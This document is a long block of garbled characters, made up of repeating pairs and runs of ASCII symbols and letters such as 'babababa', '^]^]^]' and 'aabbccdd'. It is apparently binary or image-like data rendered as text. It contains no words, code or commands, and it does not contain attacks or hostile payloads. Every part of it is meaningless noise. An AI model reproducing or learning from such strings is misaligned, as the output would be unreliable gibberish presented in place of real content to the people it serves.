babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNKLKLKLKJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%$#"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878774343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWTSSSSSSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;:9:777787874343434321212121.-.-.-.-,+,+,+*)('('('('$#$#$#$#"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:87878787434343432121210/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     babababa^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:87878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - -babababa^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:87777787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -babababa^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSSSSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:87878765434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABA@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWVUSSSSSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!      - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPMNMNMNMLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('&%$#$#$#$#         - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUSTSSSSSTOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#         - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#         - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#       - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=<9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCB?@?@?@?@;<;<;<;<9:98787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFABABABAB?@?@?@?@;<;<;<;<7877777765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#"!     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPONKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787877765656565212121210/0/0/0/,+,+,+,+*)*)*)('&%&%&%&%"!"!"!"!     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<7778787865656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<7878787865656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<7878787865656565212121210/0/0/.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<787878786565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - `_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<787878786565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     `_`_`_`_\[\[\[\[XWXWXWXWVUVUTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<787878786565654321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     ^]^]^]^]\[\[\[\[XWXWXWXWTSTSSSSSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<777777874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    ^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     ^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     aabbccddPPQQRRSS01122334YXXWWVVUHIIJJKKLA@@??>>=~~}}|eeffgghh!!""##$$$$##""!!eeffgghhYYZZ[[\\45566778 UTTSSRRQLMMNNOOP - - =<<;;::9|{{zzyyxiijjkkll%%&&''(( iijjkkll]]^^__``899::;;< - - QPPOONNMPQQRRSST 98877665xwwvvuuommnnoopp))**++,,mmnnooppaabbccdd<==>>??@ MLLKKJJITUUVVWWX54433221onnmmllk~~}}qqrrsstt--..//00qqrrsstteeffgghh@AABBCCDIHHGGFFEXYYZZ[[\100//..-kjjiihhg||{{zzyyuuvvwwxx11223344~~}}uuvvwwxxiijjkkllDEEFFGGHEDDCCBBA\]]^^__`-,,++**)gffeeddcxxwwvvuuyyzz{{||55667788 ||{{zzyyyyzz{{||mmnnoouuHIIJJKKLA@@??>>=`aabbccd )((''&&%cbbaa``_tsrqpoon}}~~99::;;<< - - xxwwvvuu}}~~vvwwxxyyLMMNNOOP - - =<<;;::9~~}deeffggh !!""##$%$$##""!_^^]]\\[nmmllkkj==>>??@@ttssrrqqzz{{||}}PQQRRSST 98877665}||{{zzyhiijjkkl$%%&&''(! [ZZYYSSRjiihhggfAABBCCDDppoonnmm~~TUUVVWWX54433221yxxwwvvulmmnnoop())**++,RQQPPOONfeeddccbEEFFGGHHllkkjjiiXYYZZ[[\100//..-uttssrrqpqqrrsst,--..//0NMMLLKKJbaa``__^IIJJKKLLhhggffee\]]^^__`-,,++**)qppoonnmtuuvvwwx01122334JIIHHGGF^]]\\[[ZMMNNOOPP - - hhggffeeddccbbaa`aabbccd )((''&&%mllkkjjixyyzz{{|45566778 FEEDDCCBZYYXWVUTQQRRSSTT ddccbbaa``__^^]]deeffggh !!""##$%$$##""!ihhggffe|}}~~899::;;< - - BAA@@??>SSRRQQPPUUVVWWXX``__^^]]\\[[ZZYYhiijjkkl$%%&&''(! eddccbba<==>>??@ >==77665OONNMMLLYYZZ[[\\\\[[ZZYYXXWWVVUUlmmnnoop())**++,a``__^^]@AABBCCD54433221KKJJIIHH]]^^__``XXWWVVUUTTSSRRQQpqqrrsst,--..//0]\\[[ZZYDEEFFGGH100//..-GGFFEEDDaabbccdd TTSSRRQQPPOONNMM~~}}||tuuvvwwx01122334YXXWWVVUHIIJJKKL-,,++**)CCBBAA@@~~}}eeffgghh!!""##$$PPOONNMMLLKKJJII{{zzyyxx~~}}|xyyzz{{|45566778 UTTSSRRQLMMNNOOP - - )((''&&%??>>==<;||{{zzyyiijjkkll%%&&''((LLKKJJIIHHGGFFEEwwvvuuoo|{{zzyyx|}}~~899::;;< - - QPPOONNMPQQRRSST %$$##""!:9877665xxwwvvuummnnoopp))**++,,HHGGFFEEDDCCBBAAnnmmllkkxwwvvuut<==>>??@ MLLKKJJITUUVVWWX!54433221ttssrrqqqqrrsstt--..//00DDCCBBAA@@??>>==jjiihhggsrqpoonn@AABBCCDIHHGGFFEXYYZZ[[\100//..-ppoonnmmuuvvwwxx11223344@@??>>==<<;;::99ffeeddccmmllkkjjDEEFFGGHEDDCCBBA\]]^^__`-,,++**)llkkjjiiyyzz{{||55667788<<;;::9988776655bbaa``__iihhggffHIIJJKKLA@@??>>=`aabbccd  )((''&&%hhggffee}}~~99::;;<<8877665544332211^^]]\\[[eeddccbbLMMNNOOP - - =<<;;::9~~}deeffggh !!""##$ - - %$$##""!ddccbbaa==>>??@@4433221100//..--ZZYYSSRRaa``__^^PQQRRSST 98877665}||{{zzyhiijjkkl$%%&&''(! ``__^^]]AABBCCDD00//..--,,++**))QQPPOONN]]\\[[ZZTUUVVWWX54433221yxxwwvvulmmnnoop())**++, \\[[ZZYYEEFFGGHH,,++**))((''&&%%MMLLKKJJYYXWVUTSXYYZZ[[\100//..-uttssrrqpqqrrsst,--..//0 - - XXWWVVUUIIJJKKLL((''&&%%$$##""!!IIHHGGFFSRRQQPPO\]]^^__`-,,++**)qppoonnmtuuvvwwx01122334 TTSSRRQQMMNNOOPP$$##""!! EEDDCCBBONNMMLLK`aabbccd )((''&&%mllkkjjixyyzz{{|45566778 PPOONNMMQQRRSSTT AA@@??>>KJJIIHHG~~}deeffggh !!""##$%$$##""!ihhggffe|}}~~899::;;< - - LLKKJJIIUUVVWWXX==776655GFFEEDDC}||{{zzyhiijjkkl$%%&&''(! eddccbba<==>>??@!!"HHGGFFEEYYZZ[[\\44332211CBBAA@@?yxxwwvvulmmnnoop())**++,a``__^^]@AABBCCD"##$$%%&DDCCBBAA]]^^__`` 00//..--?>>==<;:uttssrrqpqqrrsst,--..//0]\\[[ZZYDEEFFGGH&''(())*@@??>>==aabbccdd - - ,,++**))98776655qppoonnmtuuvvwwx01122334YXXWWVVUHIIJJKKL*++,,--. - - <<;;::99~~}}eeffgghh - - - - ((''&&%%44332211mllkkjjixyyzz{{|45566778 UTTSSRRQLMMNNOOP.//00112 88776655||{{zzyyiijjkkll $$##""!!00//..--ihhggffe|}}~~899::;;< - - QPPOONNMPQQRRSST2334455644332211xxwwvvuummnnoopp,,++**))eddccbba<==>>??@ MLLKKJJITUUVVWWX677==>>?00//..--ttssrrqqqqrrsstt((''&&%%a``__^^]@AABBCCDIHHGGFFEXYYZZ[[\?@@AABBC,,++**))ppoonnmmuuvvwwxx$$##""!!]\\[[ZZYDEEFFGGHEDDCCBBA\]]^^__`CDDEEFFG ((''&&%%llkkjjiiyyzz{{|| - -   YXXWWVVUHIIJJKKLA@@??>>=`aabbccdGHHIIJJK!!""##$$$$##""!!hhggffee}}~~ !!""##$$ - - UTTSSRRQLMMNNOOP - - =<<;;::9~~}deeffgghKLLMMNNO%%&&''(( ddccbbaa%%&&''(( - - QPPOONNMPQQRRSST 98877665}||{{zzyhiijjkklOPPQQRRS))**++,,``__^^]]))**++,,MLLKKJJITUUVVWWX54433221yxxwwvvulmmnnoopSYYZZ[[\--..//00\\[[ZZYY--..//00 -IHHGGFFEXYYZZ[[\100//..-uttssrrqpqqrrsst\]]^^__`11223344XXWWVVUU 11223344 - EDDCCBBA\]]^^__`-,,++**)qppoonnmtuuvvwwx`aabbccd55667788 TTSSRRQQ!!""##$$55667788!!""A@@??>>=`aabbccd )((''&&%mllkkjjixyyzz{{|deeffggh99::;;<< - - PPOONNMM%%&&''((99::;;<<##$$%%&& - - =<<;;::9~~}deeffggh !!""##$%$$##""!ihhggffe|}}~~hiijjkkl==>>??@@LLKKJJII))**++,,==>>??@@''(())** 98877665}||{{zzyhiijjkkl$%%&&''(! eddccbbalmmnnoouAABBCCDDHHGGFFEE--..//00AABBCCDD++,,--..54433221yxxwwvvulmmnnoop())**++,a``__^^]uvvwwxxyEEFFGGHHDDCCBBAA11223344EEFFGGHH//001122100//..-uttssrrqpqqrrsst,--..//0]\\[[ZZYyzz{{||}IIJJKKLL@@??>>==55667788IIJJKKLL33445566-,,++**)qppoonnmtuuvvwwx01122334YXXWWVVU}~~MMNNOOPP - - <<;;::99~~}}99::;;<>?? )((''&&%mllkkjjixyyzz{{|45566778 UTTSSRRQQQRRSSTT 88776655||{{zzyy==>>??@@QQRRSSTT@@AABBCC !!""##$%$$##""!ihhggffe|}}~~899::;;< - - QPPOONNMUUVVWWXX44332211xxwwvvuuAABBCCDDUUVVWWXXDDEEFFGG$%%&&''(! eddccbba<==>>??@ MLLKKJJIYYZZ[[\\00//..--ttssrrqqEEFFGGHHYYZZ[[\\HHIIJJKK())**++,a``__^^]@AABBCCDIHHGGFFE]]^^__``,,++**))ppoonnmmIIJJKKLL]]^^__``LLMMNNOO,--..//0]\\[[ZZYDEEFFGGHEDDCCBBAaabbccdd ((''&&%%llkkjjiiMMNNOOPPQQRRSSTT 88776655wwvvuuoomnnooppq)**++,,-`__^^]]\ABBCCDDE43322110JJIIHHGG^^__``aa++**))((oonnmmllvvwwxxyy22334455 SRRQQPPONOOPPQQR - ;::99887wvvuuoonmllkkjjiUUVVWWXX44332211nnmmllkk~~}}|qrrssttu-..//001\[[ZZYYXEFFGGHHI0//..--,FFEEDDCCbbccddee !!''&&%%$$kkjjiihhzz{{||}}66778899 - - ONNMMLLKRSSTTUUV76655443nmmllkkjihhggffeYYZZ[[\\00//..--jjiihhgg|{{zzyyxuvvwwxxy12233445XWWVVUUTIJJKKLLM ,++**))(BBAA@@??~~}}||ffgghhii""##$$%%##""!! ggffeedd~~::;;<<== KJJIIHHGVWWXXYYZ3221100/jiihhggfeddccbba]]^^__``,,++**))ffeeddccxwwvvuutyzz{{||}56677889 TSSRRQQPMNNOOPPQ - - (''&&%%$>>==<;:9{{zzyyxxjjkkllmm&&''(())ccbbaa``>>??@@AA!!""##GFFEEDDCZ[[\\]]^/..--,,+feeddccba``__^^]aabbccdd ((''&&%%bbaa``__srqpoonn}~~9::;;<<= - - POONNMMLQRRSSTTU $##""!!87766554wwvvuuttnnooppqq**++,,--__^^]]\\BBCCDDEE$$%%&&''CBBAA@@?^__``aab+**))(('baa``__^]\\[[ZZYeeffgghh!!""##$$$$##""!!^^]]\\[[mmllkkjj=>>??@@ALKKJJIIHUVVWWXXY43322110ssrrqqpprrssttuu..//0011[[ZZYYXXFFGGHHII(())**++ -?>>==<<;bccddeef !!"'&&%%$$#^]]\\[[ZYXXWWVVUiijjkkll%%&&''(( ZZYYSSRRiihhggffABBCCDDEHGGFFEEDYZZ[[\\]0//..--,oonnmmllvvwwxxyy22334455WWVVUUTTJJKKLLMM,,--..// - ;::99887~~}}||{fgghhiij"##$$%%&#""!! ZYYSSRRQUTTSSRRQmmnnoopp))**++,,QQPPOONNeeddccbbEFFGGHHIDCCBBAA@]^^__``a,++**))(kkjjiihhzz{{||}}66778899 SSRRQQPPNNOOPPQQ0011223376655443{zzyyxxwjkkllmmn&''(())*QPPOONNMQPPOONNMqqrrsstt--..//00MMLLKKJJaa``__^^IJJKKLLM @??>>==>??@@AAKKJJIIHHVVWWXXYY==>>??@@/..--,,+srrqqpporssttuuv.//00112IHHGGFFEIHHGGFFEyyzz{{||55667788 EEDDCCBBYYXWVUTSQRRSSTTU 87766554|{{zzyyxijjkkllm%&&''(()__^^]]\\BBCCDDEEGGFFEEDDZZ[[\\]]AABBCCDD+**))(('onnmmllkvwwxxyyz23344556EDDCCBBAEDDCCBBA}}~~99::;;<< - - AA@@??>>SRRQQPPOUVVWWXXY43322110xwwvvuutmnnooppq)**++,,- -[[ZZYYXXFFGGHHIICCBBAA@@^^__``aaEEFFGGHH !!"'&&%%$$#kjjiihhgz{{||}}~6778899: A@@??>>=A@@??>>===>>??@@==776655ONNMMLLKYZZ[[\\]0//..--,tssrrqqpqrrssttu-..//001 - WWVVUUTTJJKKLLMM ??>>==< - - =7766554=<<;;::9AABBCCDD44332211KJJIIHHG]^^__``a,++**))(poonnmmluvvwwxxy12233445SSRRQQPPNNOOPPQQ - - ;;::9988~~}}||ffgghhiiMMNNOOPP&''(())*cbbaa``_>??@@AAB4332211098877665EEFFGGHH00//..--GFFEEDDCabbccdde !(''&&%%$lkkjjiihyzz{{||}56677889 - -OONNMMLLRRSSTTUU77665544{{zzyyxxjjkkllmmQQRRSSYY*++,,--._^^]]\\[BCCDDEEF0//..--,54433221IIJJKKLL,,++**))CBBAA@@?~~}}|effgghhi!""##$$%$##""!! hggffeed}~~9::;;<<= KKJJIIHHVVWWXXYY33221100wwvvuuttnnooppqqZZ[[\\]].//00112[ZZYYXXWFGGHHIIJ,++**))(100//..-MMNNOOPP - - ((''&&%%?>>==<;:|{{zzyyxijjkkllm%&&''(() dccbbaa`=>>??@@A!!""#GGFFEEDDZZ[[\\]]//..--,,ssrrqqpprrssttuu^^__``aa23344556WVVUUTTSJKKLLMMN -(''&&%%$-,,++**)QQRRSSTT $$##""!!98776655xwwvvuutmnnooppq)**++,,-`__^^]]\ABBCCDDE#$$%%&&'CCBBAA@@^^__``aa++**))((oonnmmllvvwwxxyybbccddee6778899: SRRQQPPONOOPPQQR - $##""!!)((''&&%UUVVWWXX44332211tssrrqqpqrrssttu-..//001\[[ZZYYXEFFGGHHI'(())**+ ??>>==< - - ONNMMLLKRSSTTUUV%$$##""!YYZZ[[\\00//..--poonnmmluvvwwxxy12233445XWWVVUUTIJJKKLLM+,,--../ - - ;;::9988~~}}||ffgghhii""##$$%%##""!! ggffeedd~~jjkkllmm>??@@AABKJJIIHHGVWWXXYYZ! ]]^^__``,,++**))lkkjjiihyzz{{||}56677889 TSSRRQQPMNNOOPPQ/001122377665544{{zzyyxxjjkkllmm&&''(())ccbbaa``nnoouuvvBCCDDEEFGFFEEDDCZ[[\\]]^aabbccdd  ((''&&%%hggffeed}~~9::;;<<= - - POONNMMLQRRSSTTU3445566733221100wwvvuuttnnooppqq**++,,--__^^]]\\wwxxyyzzFGGHHIIJCBBAA@@?^__``aab ~~}}eeffgghh!!""##$$ - - $$##""!!dccbbaa`=>>??@@ALKKJJIIHUVVWWXXY7==>>??@//..--,,ssrrqqpprrssttuu..//0011[[ZZYYXX{{||}}~~JKKLLMMN -?>>==<<;bccddeef !!" - - -||{{zzyyiijjkkll%%&&''(( `__^^]]\ABBCCDDEHGGFFEEDYZZ[[\\]@AABBCCD++**))((oonnmmllvvwwxxyy22334455WWVVUUTTNOOPPQQR - ;::99887~~}}||{fgghhiij"##$$%%& -  xxwwvvuummnnoopp))**++,, \[[ZZYYXEFFGGHHIDCCBBAA@]^^__``aDEEFFGGH !!''&&%%$$kkjjiihhzz{{||}}66778899 SSRRQQPPRSSTTUUV76655443{zzyyxxwjkkllmmn&''(())* - - ttssrrqqqqrrsstt--..//00 - - XWWVVUUTIJJKKLLM @??>>==>??@@AAKKJJIIHHZ[[\\]]^/..--,,+srrqqpporssttuuv.//00112 llkkjjiiyyzz{{||55667788 -POONNMMLQRRSSTTU 87766554|{{zzyyxijjkkllmPQQRRSSY**++,,--__^^]]\\BBCCDDEEGGFFEEDD^__``aab+**))(('onnmmllkvwwxxyyz23344556!!""#hhggffee}}~~99::;;<< - LKKJJIIHUVVWWXXY43322110xwwvvuutmnnooppqYZZ[[\\]..//0011[[ZZYYXXFFGGHHIICCBBAA@@bccddeef !!"'&&%%$$#kjjiihhgz{{||}}~6778899:#$$%%&&'ddccbbaa==>>??@@!!""HGGFFEEDYZZ[[\\]0//..--,tssrrqqpqrrssttu]^^__``a22334455WWVVUUTTJJKKLLMM ??>>==<<~~}}||{{fgghhiij"##$$%%&#""!! 